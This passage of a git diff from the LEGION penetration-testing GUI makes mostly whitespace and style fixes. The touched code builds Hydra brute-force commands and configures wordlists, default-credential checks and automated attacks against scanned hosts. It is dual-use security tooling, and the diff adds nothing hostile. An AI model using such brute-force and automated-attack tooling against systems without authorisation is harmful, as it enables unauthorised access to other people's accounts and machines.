self.usersTextinput.text() elif self.foundUsersRadio.isChecked(): @@ -353,7 +353,7 @@ def buildHydraCommand(self, runningfolder, userlistPath, passlistPath): else: self.command += " -L \"" + self.userlistTextinput.text()+"\"" - if not self.service in self.settings.brute_no_password_services.split(","): + if self.service not in self.settings.brute_no_password_services.split(","): if self.singlePassRadio.isChecked(): escaped_password = self.passwordsTextinput.text().replace('"', '\"\"\"') self.command += " -p \"" + escaped_password + "\"" @@ -410,7 +410,7 @@ def resetDisplay(self): self.vlayout.addWidget(self.display) -# dialog displayed when the user clicks on the advanced filters button +# dialog displayed when the user clicks on the advanced filters button class FiltersDialog(QtWidgets.QDialog): def __init__(self, parent=None): QtWidgets.QDialog.__init__(self, parent) @@ -423,7 +423,7 @@ def setupLayout(self): self.setWindowTitle('Filters') self.setFixedSize(640, 200) - hostsBox = QGroupBox("Host Filters") + hostsBox = QGroupBox("Host Filters") self.hostsUp = QCheckBox("Show up hosts") self.hostsUp.toggle() self.hostsDown = QCheckBox("Show down hosts") @@ -471,14 +471,14 @@ def setupLayout(self): buttonLayout.addWidget(self.cancelButton) buttonLayout.addWidget(self.applyButton) - layout = QVBoxLayout() + layout = QVBoxLayout() layout.addLayout(hlayout) - layout.addLayout(buttonLayout) + layout.addLayout(buttonLayout) self.setLayout(layout) def getFilters(self): - return [self.hostsUp.isChecked(), self.hostsDown.isChecked(), self.hostsChecked.isChecked(), \ - self.portsOpen.isChecked(), self.portsFiltered.isChecked(), self.portsClosed.isChecked(), \ + return [self.hostsUp.isChecked(), self.hostsDown.isChecked(), self.hostsChecked.isChecked(), + self.portsOpen.isChecked(), self.portsFiltered.isChecked(), self.portsClosed.isChecked(), self.portsTcp.isChecked(), self.portsUdp.isChecked(), unicode(self.hostKeywordText.text()).split()] def setCurrentFilters(self, filters): @@ -546,7 +546,7 @@ def setupLayout(self): self.ClosedPortsLayout.addSpacing(20) self.ClosedPortsLayout.addWidget(self.ClosedPortsLabel) self.ClosedPortsLayout.addWidget(self.ClosedPortsText) - self.ClosedPortsLayout.addStretch() + self.ClosedPortsLayout.addStretch() self.FilteredPortsLabel = QtWidgets.QLabel() self.FilteredPortsText = QtWidgets.QLabel() @@ -554,7 +554,7 @@ def setupLayout(self): self.FilteredPortsLayout.addSpacing(20) self.FilteredPortsLayout.addWidget(self.FilteredPortsLabel) self.FilteredPortsLayout.addWidget(self.FilteredPortsText) - self.FilteredPortsLayout.addStretch() + self.FilteredPortsLayout.addStretch() ################### self.LocationLabel = QtWidgets.QLabel() self.AddressLabel = QtWidgets.QLabel() @@ -614,7 +614,7 @@ def setupLayout(self): self.dummyLayout.addWidget(self.dummyLabel) self.dummyLayout.addWidget(self.dummyText) self.dummyLayout.addStretch() - ######### + ######### self.OSLabel = QtWidgets.QLabel() self.OSNameLabel = QtWidgets.QLabel() diff --git a/ui/gui.py b/ui/gui.py index fc3aa1aa..bdbe9d45 100644 --- a/ui/gui.py +++ b/ui/gui.py @@ -60,7 +60,7 @@ def setupUi(self, MainWindow): self.sizePolicy2 = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) # this specifies that the widget will expand its width when the window is resized self.sizePolicy2.setHorizontalStretch(1) - self.sizePolicy2.setVerticalStretch(0) + self.sizePolicy2.setVerticalStretch(0) self.setupLeftPanel() self.setupRightPanel() @@ -73,7 +73,7 @@ def setupUi(self, MainWindow): MainWindow.setCentralWidget(self.centralwidget) self.setupMenuBar(MainWindow) - self.retranslateUi(MainWindow) + self.retranslateUi(MainWindow) self.setDefaultIndexes() QtCore.QMetaObject.connectSlotsByName(MainWindow) @@ -153,7 +153,7 @@ def setupLeftPanel(self): self.ToolsTableView = QtWidgets.QTableView(self.ToolsTab) self.ToolsTableView.setObjectName(_fromUtf8("ToolsTableView")) self.horizontalLayout_3.addWidget(self.ToolsTableView) - self.HostsTabWidget.addTab(self.ToolsTab, _fromUtf8("")) + self.HostsTabWidget.addTab(self.ToolsTab, _fromUtf8("")) # Disabled for now #self.CvesLeftTab = QtWidgets.QWidget() @@ -170,7 +170,7 @@ def setupRightPanel(self): self.ServicesTabWidget.setEnabled(True) self.sizePolicy2.setHeightForWidth(self.ServicesTabWidget.sizePolicy().hasHeightForWidth()) self.ServicesTabWidget.setSizePolicy(self.sizePolicy2) - self.ServicesTabWidget.setObjectName(_fromUtf8("ServicesTabWidget")) + self.ServicesTabWidget.setObjectName(_fromUtf8("ServicesTabWidget")) self.splitter.addWidget(self.ServicesTabWidget) ### @@ -184,7 +184,7 @@ def setupRightPanel(self): ### self.ToolHostsWidget = QtWidgets.QWidget() - self.ToolHostsWidget.setObjectName(_fromUtf8("ToolHostsTab")) + self.ToolHostsWidget.setObjectName(_fromUtf8("ToolHostsTab")) self.ToolHostsLayout = QtWidgets.QVBoxLayout(self.ToolHostsWidget) self.ToolHostsLayout.setObjectName(_fromUtf8("verticalLayout")) self.ToolHostsTableView = QtWidgets.QTableView(self.ToolHostsWidget) @@ -241,18 +241,18 @@ def setupRightPanel(self): self.splitter_4.setObjectName(_fromUtf8("splitter_4")) self.ScriptsTableView = QtWidgets.QTableView() - self.ScriptsTableView.setObjectName(_fromUtf8("ScriptsTableView")) + self.ScriptsTableView.setObjectName(_fromUtf8("ScriptsTableView")) self.splitter_4.addWidget(self.ScriptsTableView) self.ScriptsOutputTextEdit = QtWidgets.QPlainTextEdit() self.ScriptsOutputTextEdit.setObjectName(_fromUtf8("ScriptsOutputTextEdit")) - self.ScriptsOutputTextEdit.setReadOnly(True) - self.splitter_4.addWidget(self.ScriptsOutputTextEdit) - self.horizontalLayout_6.addWidget(self.splitter_4) + self.ScriptsOutputTextEdit.setReadOnly(True) + self.splitter_4.addWidget(self.ScriptsOutputTextEdit) + self.horizontalLayout_6.addWidget(self.splitter_4) self.ServicesTabWidget.addTab(self.ScriptsTab, _fromUtf8("")) self.InformationTab = QtWidgets.QWidget() - self.InformationTab.setObjectName(_fromUtf8("InformationTab")) + self.InformationTab.setObjectName(_fromUtf8("InformationTab")) self.ServicesTabWidget.addTab(self.InformationTab, _fromUtf8("")) self.NotesTab = QtWidgets.QWidget() @@ -262,14 +262,14 @@ def setupRightPanel(self): self.NotesTextEdit = QtWidgets.QPlainTextEdit(self.NotesTab) self.NotesTextEdit.setObjectName(_fromUtf8("NotesTextEdit")) self.horizontalLayout_4.addWidget(self.NotesTextEdit) - self.ServicesTabWidget.addTab(self.NotesTab, _fromUtf8("")) + self.ServicesTabWidget.addTab(self.NotesTab, _fromUtf8("")) def setupMainTabs(self): self.gridLayout_2.addWidget(self.splitter, 0, 0, 1, 1) self.gridLayout_3 = QtWidgets.QGridLayout() - self.gridLayout_3.setObjectName(_fromUtf8("gridLayout_3")) + self.gridLayout_3.setObjectName(_fromUtf8("gridLayout_3")) self.gridLayout_2.addLayout(self.gridLayout_3, 0, 0, 1, 1) - self.MainTabWidget.addTab(self.ScanTab, _fromUtf8("")) + self.MainTabWidget.addTab(self.ScanTab, _fromUtf8("")) self.BruteTab = QtWidgets.QWidget() self.BruteTab.setObjectName(_fromUtf8("BruteTab")) @@ -278,7 +278,7 @@ def setupMainTabs(self): self.BruteTabWidget = QtWidgets.QTabWidget(self.BruteTab) self.BruteTabWidget.setObjectName(_fromUtf8("BruteTabWidget")) self.horizontalLayout_7.addWidget(self.BruteTabWidget) - self.MainTabWidget.addTab(self.BruteTab, _fromUtf8("")) + self.MainTabWidget.addTab(self.BruteTab, _fromUtf8("")) def setupBottomPanel(self): self.BottomTabWidget = QtWidgets.QTabWidget(self.splitter_2) @@ -364,7 +364,7 @@ def setupMenuBar(self, MainWindow): self.actionHelp = QtWidgets.QAction(MainWindow) self.actionHelp.setObjectName(_fromUtf8("getHelp")) self.menuHelp.addAction(self.actionHelp) - self.menubar.addAction(self.menuHelp.menuAction()) + self.menubar.addAction(self.menuHelp.menuAction()) self.actionConfig = QtWidgets.QAction(MainWindow) self.actionConfig.setObjectName(_fromUtf8("config")) @@ -376,7 +376,7 @@ def setDefaultIndexes(self): self.HostsTabWidget.setCurrentIndex(1) self.ServicesTabWidget.setCurrentIndex(1) self.BruteTabWidget.setCurrentIndex(1) - self.BottomTabWidget.setCurrentIndex(0) + self.BottomTabWidget.setCurrentIndex(0) def retranslateUi(self, MainWindow): MainWindow.setWindowTitle(QtWidgets.QApplication.translate("MainWindow", "LEGION", None)) @@ -443,5 +443,4 @@ def retranslateUi(self, MainWindow): ui = Ui_MainWindow() ui.setupUi(MainWindow) MainWindow.show() - sys.exit(app.exec_()) - + sys.exit(app.exec_()) \ No newline at end of file diff --git a/ui/models/hostmodels.py b/ui/models/hostmodels.py index c8e15b14..6a815a8f 100644 --- a/ui/models/hostmodels.py +++ b/ui/models/hostmodels.py @@ -50,7 +50,7 @@ def headerData(self, section, orientation, role): def data(self, index, role): # this method takes care of how the information is displayed if role == QtCore.Qt.DecorationRole: # to show the operating system icon instead of text if index.column() == 1: # if trying to display the operating system - os_string = self.__hosts[index.row()]['osMatch'] + os_string = self.__hosts[index.row()]['osMatch'] if os_string == '': # if there is no OS information, use the question mark icon return QtGui.QIcon("./images/question-icon.png") @@ -118,7 +118,7 @@ def data(self, index, role): # this method takes care of how the if role == QtCore.Qt.FontRole: # if a host is checked strike it out and make it italic - if index.column() == 3 and self.__hosts[index.row()]['checked'] == 'True': + if index.column() == 3 and self.__hosts[index.row()]['checked'] == 'True': checkedFont=QFont() checkedFont.setStrikeOut(True) checkedFont.setItalic(True) diff --git a/ui/models/processmodels.py b/ui/models/processmodels.py index c66726da..1fad713e 100644 --- a/ui/models/processmodels.py +++ b/ui/models/processmodels.py @@ -95,7 +95,7 @@ def data(self, index, role): except Exception: value = "Missing data c #{0} - {1}".format(int(column), processColumns.get(int(column))) pass - return value + return value def sort(self, Ncol, order): self.layoutAboutToBeChanged.emit() @@ -154,7 +154,7 @@ def getProcessPidForRow(self, row): def getProcessPidForId(self, dbId): for i in range(len(self.__processes)): if str(self.__processes[i]['id']) == str(dbId): - return self.__processes[i]['pid'] + return self.__processes[i]['pid'] def getProcessStatusForRow(self, row): return self.__processes[row]['status'] @@ -195,4 +195,4 @@ def getProtocolForRow(self, row): return self.__processes[row]['protocol'] def getOutputfileForRow(self, row): - return self.__processes[row]['outputfile'] + return self.__processes[row]['outputfile'] diff --git a/ui/models/scriptmodels.py b/ui/models/scriptmodels.py index 59ecd22f..45da99c9 100644 --- a/ui/models/scriptmodels.py +++ b/ui/models/scriptmodels.py @@ -56,13 +56,13 @@ def data(self, index, role): # this method takes care of how the information i column = index.column() if column == 0: - value = self.__scripts[row]['id'] + value = self.__scripts[row]['id'] elif column == 1: value = self.__scripts[row]['scriptId'] elif column == 2: if self.__scripts[row]['portId'] and self.__scripts[row]['protocol'] and \ not self.__scripts[row]['portId'] == '' and not self.__scripts[row]['protocol'] == '': - value = self.__scripts[row]['portId'] + '/' + self.__scripts[row]['protocol'] + value = self.__scripts[row]['portId'] + '/' + self.__scripts[row]['protocol'] else: value = '' elif column == 3: @@ -74,10 +74,10 @@ def sort(self, Ncol, order): self.layoutAboutToBeChanged.emit() array=[] - if Ncol == 1: + if Ncol == 1: for i in range(len(self.__scripts)): array.append(self.__scripts[i]['scriptId']) - if Ncol == 2: + if Ncol == 2: for i in range(len(self.__scripts)): array.append(int(self.__scripts[i]['portId'])) diff --git a/ui/models/servicemodels.py b/ui/models/servicemodels.py index 6143d370..0336f751 100644 --- a/ui/models/servicemodels.py +++ b/ui/models/servicemodels.py @@ -131,7 +131,7 @@ def sort(self, Ncol, order): array.append(self.__services[i]['name']) elif Ncol == 9: # if sorting by version - for i in range(len(self.__services)): + for i in range(len(self.__services)): value = '' if not self.__services[i]['product'] == None and not self.__services[i]['product'] == '': value = str(self.__services[i]['product']) @@ -147,7 +147,7 @@ def sort(self, Ncol, order): sortArrayWithArray(array, self.__services) if order == Qt.AscendingOrder: # reverse if needed - self.__services.reverse() + self.__services.reverse() self.layoutChanged.emit() # update the UI (built-in signal) @@ -163,7 +163,7 @@ def getIpForRow(self, row): return self.__services[row]['ip'] def getProtocolForRow(self, row): - return self.__services[row]['protocol'] + return self.__services[row]['protocol'] #################################################################### @@ -214,7 +214,7 @@ def sort(self, Ncol, order): sortArrayWithArray(array, self.__serviceNames) if order == Qt.AscendingOrder: # reverse if needed - self.__serviceNames.reverse() + self.__serviceNames.reverse() self.layoutChanged.emit() # update the UI (built-in signal) diff --git a/ui/settingsDialog.py b/ui/settingsDialog.py index 9e24d490..c248608b 100644 --- a/ui/settingsDialog.py +++ b/ui/settingsDialog.py @@ -53,7 +53,7 @@ def paintEvent(self, event): tabRect = self.tabRect(index) tabRect.moveLeft(10) painter.drawControl(QtWidgets.QStyle.CE_TabBarTabShape, option) - painter.drawText(tabRect, QtCore.Qt.AlignVCenter | QtCore.Qt.TextDontClip, self.tabText(index)); + painter.drawText(tabRect, QtCore.Qt.AlignVCenter | QtCore.Qt.TextDontClip, self.tabText(index)) painter.end() def tabSizeHint(self,index): @@ -146,7 +146,7 @@ def updateSettings(self): self.settings.general_default_terminal = str(self.terminalComboBox.currentText()) self.settings.general_max_fast_processes = str(self.fastProcessesComboBox.currentText()) self.settings.general_screenshooter_timeout = str(self.screenshotTextinput.text()) - self.settings.general_web_services = str(self.webServicesTextinput.text()) + self.settings.general_web_services = str(self.webServicesTextinput.text()) if self.checkStoreClearPW.isChecked(): self.settings.brute_store_cleartext_passwords_on_exit = 'True' @@ -218,7 +218,7 @@ def populateSettings(self): self.populateToolsTab() self.populateAutomatedAttacksTab() - def populateGeneralTab(self): + def populateGeneralTab(self): self.terminalsSupported = ['gnome-terminal','xterm'] self.terminalComboBox.insertItems(0, self.terminalsSupported) @@ -236,15 +236,15 @@ def populateGeneralTab(self): self.checkStoreClearPW.toggle() elif self.settings.brute_store_cleartext_passwords_on_exit == 'False' and \ self.checkStoreClearPW.isChecked() == True: - self.checkStoreClearPW.toggle() + self.checkStoreClearPW.toggle() def populateBruteTab(self): self.userlistPath.setText(self.settings.brute_username_wordlist_path) - self.passwordlistPath.setText(self.settings.brute_password_wordlist_path) + self.passwordlistPath.setText(self.settings.brute_password_wordlist_path) self.defaultUserText.setText(self.settings.brute_default_username) - self.defaultPassText.setText(self.settings.brute_default_password) + self.defaultPassText.setText(self.settings.brute_default_password) - def populateToolsTab(self): + def populateToolsTab(self): # POPULATE TOOL PATHS TAB self.nmapPathInput.setText(self.settings.tools_path_nmap) self.hydraPathInput.setText(self.settings.tools_path_hydra) @@ -297,7 +297,7 @@ def populateAutomatedAttacksTab(self): # TODO: this one is still to big and ug for keyNum in range(len(self.settings.portActions)): # populate the automated attacks tools tab with every tool that is not a default creds check - if self.settings.portActions[keyNum][1] not in self.defaultServicesList: + if self.settings.portActions[keyNum][1] not in self.defaultServicesList: self.typeDic[self.settings.portActions[keyNum][1]][0].setText(self.settings.portActions[keyNum][1]) self.typeDic[self.settings.portActions[keyNum][1]][0].setFixedWidth(150) @@ -305,7 +305,7 @@ def populateAutomatedAttacksTab(self): # TODO: this one is still to big and ug #if self.settings.portActions[keyNum][1] in self.settings.automatedAttacks.keys(): foundToolInAA = False for t in self.settings.automatedAttacks: - if self.settings.portActions[keyNum][1] == t[0]: + if self.settings.portActions[keyNum][1] == t[0]: #self.typeDic[self.settings.portActions[keyNum][1]][1].setText( # self.settings.automatedAttacks[self.settings.portActions[keyNum][1]]) self.typeDic[self.settings.portActions[keyNum][1]][1].setText(t[1]) @@ -355,7 +355,7 @@ def populateAutomatedAttacksTab(self): # TODO: this one is still to big and ug self.defaultBoxVerlayout.addLayout(self.typeDic[self.settings.portActions[keyNum][1]][3]) self.scrollArea.setWidget(self.scrollWidget) - self.globVerAutoToolsLayout.addWidget(self.scrollArea) + self.globVerAutoToolsLayout.addWidget(self.scrollArea) ##################### SWITCH TAB FUNCTIONS ##################### @@ -371,7 +371,7 @@ def switchTabClick(self): # save the previous tab for the next time we switch tabs. # TODO: not sure this should be inside the IF but makes sense to me. no point in saving # the previous if there is no change.. - self.previousTab = self.settingsTabWidget.tabText(self.settingsTabWidget.currentIndex()) + self.previousTab = self.settingsTabWidget.tabText(self.settingsTabWidget.currentIndex()) else: log.info('nope! cannot let you switch tab! you fucked up!') @@ -601,10 +601,10 @@ def validateBruteTab(self): validationPassed = self.validatePath(self.userlistPath) validationPassed = self.validatePath(self.passwordlistPath) and validationPassed validationPassed = self.validateString(self.defaultUserText) and validationPassed - validationPassed = self.validateString(self.defaultPassText) and validationPassed + validationPassed = self.validateString(self.defaultPassText) and validationPassed return validationPassed - def toolPathsValidate(self): + def toolPathsValidate(self): validationPassed = self.validateFile(self.nmapPathInput) validationPassed = self.validateFile(self.hydraPathInput) and validationPassed validationPassed = self.validateFile(self.cutycaptPathInput) and validationPassed @@ -625,13 +625,13 @@ def validateCommandTabs(self, nameInput, labelInput, commandInput): self.toggleRedBorder(nameInput, False) validationPassed = self.validateStringWithSpace(labelInput) and validationPassed - validationPassed = self.validateCommandFormat(commandInput) and validationPassed + validationPassed = self.validateCommandFormat(commandInput) and validationPassed return validationPassed # avoid using the same code for the selected tab. returns the fields for the current visible tab # (host/ports/terminal) # TODO: don't like this too much. seems like we could just use parameters in the validate tool name function - def selectGroup(self): + def selectGroup(self): tabSelected = -1 if self.ToolSettingsTab.tabText(self.ToolSettingsTab.currentIndex()) == 'Host Commands': @@ -695,7 +695,7 @@ def validateToolName(self): if tmpWidget.item(row,0).text() != str(actions[row][1]): log.info('difference found') actions[row][1] = tmpWidget.item(row,0).text() - return self.validationPassed + return self.validationPassed #def validateUniqueKey(self, widget, tablerow, text): def validateUniqueToolName(self, widget, tablerow, text): @@ -758,7 +758,7 @@ def updateHostActions(self): self.settings.hostActions[self.hostTableRow][2] = str(self.hostCommandText.text()) # update variable -> do not update the values when a line is removed - def updateToolForHostInformation(self, update = True): + def updateToolForHostInformation(self, update = True): #if self.commandTabsValidate() == True: if self.validateCommandTabs(self.hostActionNameText, self.hostLabelText, self.hostCommandText): @@ -845,7 +845,7 @@ def updateToolForServiceInformation(self, update = True): self.portActionNameText.setText(tool[1]) self.portLabelText.setText(tool[0]) self.portCommandText.setText(tool[2]) - # for the case that the tool (ex. new added tool) does not have services assigned + # for the case that the tool (ex. new added tool) does not have services assigned if len(tool) == 4: servicesList = tool[3].split(',') self.terminalServicesActiveTable.setRowCount(len(servicesList)) @@ -909,7 +909,7 @@ def updateToolForTerminalInformation(self, update = True): self.terminalActionNameText.setText(tool[1]) self.terminalLabelText.setText(tool[0]) self.terminalCommandText.setText(tool[2]) - # for the case that the tool (ex. new added tool) does not have any service assigned + # for the case that the tool (ex. new added tool) does not have any service assigned if len(tool) == 4: servicesList = tool[3].split(',') self.terminalServicesActiveTable.setRowCount(len(servicesList)) @@ -983,11 +983,11 @@ def setupLayout(self): self.applyButton = QPushButton('Apply') self.applyButton.setMaximumSize(60, 30) self.spacer2 = QSpacerItem(750,0) - self.horLayout1.addItem(self.spacer2) + self.horLayout1.addItem(self.spacer2) self.horLayout1.addWidget(self.applyButton) self.horLayout1.addWidget(self.cancelButton) - self.flayout.addLayout(self.horLayout1) + self.flayout.addLayout(self.horLayout1) self.setLayout(self.flayout) def setupGeneralTab(self): @@ -997,7 +997,7 @@ def setupGeneralTab(self): self.terminalComboBox = QtWidgets.QComboBox() self.terminalComboBox.setFixedWidth(150) self.terminalComboBox.setMinimumContentsLength(3) - self.terminalComboBox.setStyleSheet("QComboBox { combobox-popup: 0; }"); + self.terminalComboBox.setStyleSheet("QComboBox { combobox-popup: 0; }") self.terminalComboBox.setCurrentIndex(0) self.hlayout1 = QtWidgets.QHBoxLayout() self.hlayout1.addWidget(self.terminalLabel) @@ -1013,7 +1013,7 @@ def setupGeneralTab(self): self.fastProcessesComboBox = QtWidgets.QComboBox() self.fastProcessesComboBox.insertItems(0, self.fastProcessesNumber) self.fastProcessesComboBox.setMinimumContentsLength(3) - self.fastProcessesComboBox.setStyleSheet("QComboBox { combobox-popup: 0; }"); + self.fastProcessesComboBox.setStyleSheet("QComboBox { combobox-popup: 0; }") self.fastProcessesComboBox.setCurrentIndex(19) self.fastProcessesComboBox.setFixedWidth(150) self.fastProcessesComboBox.setMaxVisibleItems(3) @@ -1052,9 +1052,9 @@ def setupGeneralTab(self): self.hlayout2 = QtWidgets.QHBoxLayout() self.hlayout2.addWidget(self.checkBlackBG) - self.vlayoutGeneral = QtWidgets.QVBoxLayout(self.GeneralSettingsTab) + self.vlayoutGeneral = QtWidgets.QVBoxLayout(self.GeneralSettingsTab) self.vlayoutGeneral.addLayout(self.hlayout1) - self.vlayoutGeneral.addLayout(self.hlayoutGeneral_4) + self.vlayoutGeneral.addLayout(self.hlayoutGeneral_4) self.vlayoutGeneral.addLayout(self.hlayoutGeneral_2) self.vlayoutGeneral.addLayout(self.hlayoutGeneral_3) self.vlayoutGeneral.addLayout(self.hlayoutGeneral_6) @@ -1115,7 +1115,7 @@ def setupBruteTab(self): self.vlayoutBrute.addLayout(self.hlayoutGeneral_7) self.vlayoutBrute.addLayout(self.hlayoutGeneral_8) self.vlayoutBrute.addLayout(self.hlayoutGeneral_9) - self.vlayoutBrute.addLayout(self.hlayoutGeneral_10) + self.vlayoutBrute.addLayout(self.hlayoutGeneral_10) self.bruteSpacer = QSpacerItem(10,380) self.vlayoutBrute.addItem(self.bruteSpacer) @@ -1174,7 +1174,7 @@ def setupToolPathsTab(self): self.textEditorPathHorLayout.addWidget(self.textEditorPathInput) self.textEditorPathHorLayout.addStretch() - self.toolsPathVerLayout = QtWidgets.QVBoxLayout() + self.toolsPathVerLayout = QtWidgets.QVBoxLayout() self.toolsPathVerLayout.addLayout(self.nmapPathHorLayout) self.toolsPathVerLayout.addLayout(self.hydraPathHorLayout) self.toolsPathVerLayout.addLayout(self.cutycaptPathHorLayout) @@ -1184,7 +1184,7 @@ def setupToolPathsTab(self): self.globToolsPathHorLayout = QtWidgets.QHBoxLayout(self.ToolPathsWidget) self.globToolsPathHorLayout.addLayout(self.toolsPathVerLayout) self.toolsPathHorSpacer = QSpacerItem(50,0) # right margin spacer - self.globToolsPathHorLayout.addItem(self.toolsPathHorSpacer) + self.globToolsPathHorLayout.addItem(self.toolsPathHorSpacer) def setupHostCommandsTab(self): self.toolForHostsTableWidget = QtWidgets.QTableWidget(self.HostActionsWidget) @@ -1248,7 +1248,7 @@ def setupHostCommandsTab(self): self.hostCommandText = QtWidgets.QLineEdit() self.hostCommandText.setText('init value') self.horLayout2.addWidget(self.label10) - self.horLayout2.addWidget(self.hostCommandText) + self.horLayout2.addWidget(self.hostCommandText) self.spacer6 = QSpacerItem(0,20) self.verLayout1.addItem(self.spacer6) @@ -1286,7 +1286,7 @@ def setupPortCommandsTab(self): self.horLayoutPortActions = QtWidgets.QHBoxLayout() self.addToolButton = QPushButton('Add') - self.addToolButton.setMaximumSize(90, 30) + self.addToolButton.setMaximumSize(90, 30) self.removeToolButton = QPushButton('Remove') self.removeToolButton.setMaximumSize(90, 30) self.horLayoutPortActions.addWidget(self.addToolButton) @@ -1294,7 +1294,7 @@ def setupPortCommandsTab(self): self.verLayoutPortActions = QtWidgets.QVBoxLayout() self.verLayoutPortActions.addWidget(self.label11) - self.verLayoutPortActions.addWidget(self.toolForServiceTableWidget) + self.verLayoutPortActions.addWidget(self.toolForServiceTableWidget) self.verLayoutPortActions.addLayout(self.horLayoutPortActions) self.verLayout1 = QtWidgets.QVBoxLayout() @@ -1358,7 +1358,7 @@ def setupPortCommandsTab(self): self.spacer4 = QSpacerItem(0,90) # space above and below arrow buttons self.verLayout2.addItem(self.spacer4) self.verLayout2.addWidget(self.addServicesButton) - self.verLayout2.addWidget(self.removeServicesButton) + self.verLayout2.addWidget(self.removeServicesButton) self.verLayout2.addItem(self.spacer4) self.horLayout3 = QtWidgets.QHBoxLayout() # space left of multiple choice widget @@ -1377,18 +1377,18 @@ def setupPortCommandsTab(self): self.spacer1 = QSpacerItem(0,50) # bottom right space self.verLayout1.addItem(self.spacer1) - self.globLayoutPortActions = QtWidgets.QHBoxLayout(self.PortActionsWidget) + self.globLayoutPortActions = QtWidgets.QHBoxLayout(self.PortActionsWidget) self.globLayoutPortActions.addLayout(self.verLayoutPortActions) self.spacer5 = QSpacerItem(10,0) # space between left and right layouts - self.globLayoutPortActions.addItem(self.spacer5) + self.globLayoutPortActions.addItem(self.spacer5) self.globLayoutPortActions.addLayout(self.verLayout1) self.spacer2 = QSpacerItem(50,0) # right margin space self.globLayoutPortActions.addItem(self.spacer2) - def setupTerminalCommandsTab(self): + def setupTerminalCommandsTab(self): self.actionTerminalLabel = QtWidgets.QLabel() - self.actionTerminalLabel.setText('Tools') + self.actionTerminalLabel.setText('Tools') self.toolForTerminalTableWidget = QtWidgets.QTableWidget(self.portTerminalActionsWidget) self.toolForTerminalTableWidget.setSelectionBehavior(QAbstractItemView.SelectRows) @@ -1398,16 +1398,16 @@ def setupTerminalCommandsTab(self): self.toolForTerminalTableWidget.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) # table headers self.toolForTerminalTableWidget.setColumnCount(1) - self.toolForTerminalTableWidget.setHorizontalHeaderItem(0, QtWidgets.QTableWidgetItem()) - self.toolForTerminalTableWidget.horizontalHeaderItem(0).setText("Name") - self.toolForTerminalTableWidget.horizontalHeader().resizeSection(0,200) + self.toolForTerminalTableWidget.setHorizontalHeaderItem(0, QtWidgets.QTableWidgetItem()) + self.toolForTerminalTableWidget.horizontalHeaderItem(0).setText("Name") + self.toolForTerminalTableWidget.horizontalHeader().resizeSection(0,200) self.toolForTerminalTableWidget.horizontalHeader().setVisible(False) self.toolForTerminalTableWidget.verticalHeader().setVisible(False) self.toolForTerminalTableWidget.setVerticalHeaderItem(0, QtWidgets.QTableWidgetItem()) self.horLayout1 = QtWidgets.QHBoxLayout() self.addToolForTerminalButton = QPushButton('Add') - self.addToolForTerminalButton.setMaximumSize(90, 30) + self.addToolForTerminalButton.setMaximumSize(90, 30) self.removeToolForTerminalButton = QPushButton('Remove') self.removeToolForTerminalButton.setMaximumSize(90, 30) self.horLayout1.addWidget(self.addToolForTerminalButton) @@ -1422,7 +1422,7 @@ def setupTerminalCommandsTab(self): self.actionNameTerminalLabel = QtWidgets.QLabel() self.actionNameTerminalLabel.setText('Tool') self.actionNameTerminalLabel.setFixedWidth(70) - self.terminalActionNameText = QtWidgets.QLineEdit() + self.terminalActionNameText = QtWidgets.QLineEdit() self.horLayout2.addWidget(self.actionNameTerminalLabel) self.horLayout2.addWidget(self.terminalActionNameText) @@ -1453,7 +1453,7 @@ def setupTerminalCommandsTab(self): self.terminalServicesAllTable.setHorizontalHeaderItem(0, QtWidgets.QTableWidgetItem()) self.terminalServicesAllTable.horizontalHeaderItem(0).setText("Available Services") self.terminalServicesAllTable.horizontalHeader().setVisible(False) - self.terminalServicesAllTable.setShowGrid(False) + self.terminalServicesAllTable.setShowGrid(False) self.terminalServicesAllTable.verticalHeader().setVisible(False) self.terminalServicesActiveTable = QtWidgets.QTableWidget() @@ -1550,7 +1550,7 @@ def setupStagedNmapTab(self): self.hlayout5.addWidget(self.stage5label) self.hlayout5.addWidget(self.stage5Input) - self.vlayout1 = QtWidgets.QVBoxLayout() + self.vlayout1 = QtWidgets.QVBoxLayout() self.vlayout1.addLayout(self.hlayout1) self.vlayout1.addLayout(self.hlayout2) self.vlayout1.addLayout(self.hlayout3) @@ -1576,11 +1576,11 @@ def setupAutoAttacksGeneralTab(self): self.globVerAutoSetLayout = QtWidgets.QVBoxLayout(self.GeneralAutoSettingsWidget) self.enableAutoAttacks = QtWidgets.QCheckBox() - self.enableAutoAttacks.setText('Run automated attacks') + self.enableAutoAttacks.setText('Run automated attacks') self.checkDefaultCred = QtWidgets.QCheckBox() self.checkDefaultCred.setText('Check for default credentials') - self.defaultBoxVerlayout = QtWidgets.QVBoxLayout() + self.defaultBoxVerlayout = QtWidgets.QVBoxLayout() self.defaultCredentialsBox = QGroupBox("Default Credentials") self.defaultCredentialsBox.setLayout(self.defaultBoxVerlayout) self.globVerAutoSetLayout.addWidget(self.enableAutoAttacks) @@ -1610,7 +1610,7 @@ def setupAutoAttacksToolTab(self): self.globVerAutoToolsLayout = QtWidgets.QVBoxLayout(self.AutoToolsWidget) self.globVerAutoToolsLayout.addLayout(self.autoToolTabHorLayout) - self.scrollVerLayout = QtWidgets.QVBoxLayout(self.scrollWidget) + self.scrollVerLayout = QtWidgets.QVBoxLayout(self.scrollWidget) self.enabledSpacer = QSpacerItem(60,0) # by default the automated attacks are not activated and the tab is not enabled diff --git a/ui/view.py b/ui/view.py index c85d6645..3db15939 100644 --- a/ui/view.py +++ b/ui/view.py @@ -67,7 +67,7 @@ def startOnce(self): self.hostInfoWidget = HostInformationWidget(self.ui.InformationTab) self.filterdialog = FiltersDialog(self.ui.centralwidget) self.importProgressWidget = ProgressWidget('Importing nmap..', self.ui.centralwidget) - self.adddialog = AddHostsDialog(self.ui.centralwidget) + self.adddialog = AddHostsDialog(self.ui.centralwidget) self.settingsWidget = AddSettingsDialog(self.shell, self.ui.centralwidget) self.helpDialog = HelpDialog(applicationInfo["name"], applicationInfo["author"], applicationInfo["copyright"], applicationInfo["links"], applicationInfo["emails"], applicationInfo["version"], @@ -80,7 +80,7 @@ def startOnce(self): self.ui.ServiceNamesTableView.setSelectionMode(1) self.ui.CvesTableView.setSelectionMode(1) self.ui.ToolsTableView.setSelectionMode(1) - self.ui.ScriptsTableView.setSelectionMode(1) + self.ui.ScriptsTableView.setSelectionMode(1) self.ui.ToolHostsTableView.setSelectionMode(1) # initialisations (globals, etc) @@ -100,7 +100,7 @@ def start(self, title='*untitled'): self.updateInterface() self.restoreToolTabWidget(True) # True means we want to show the 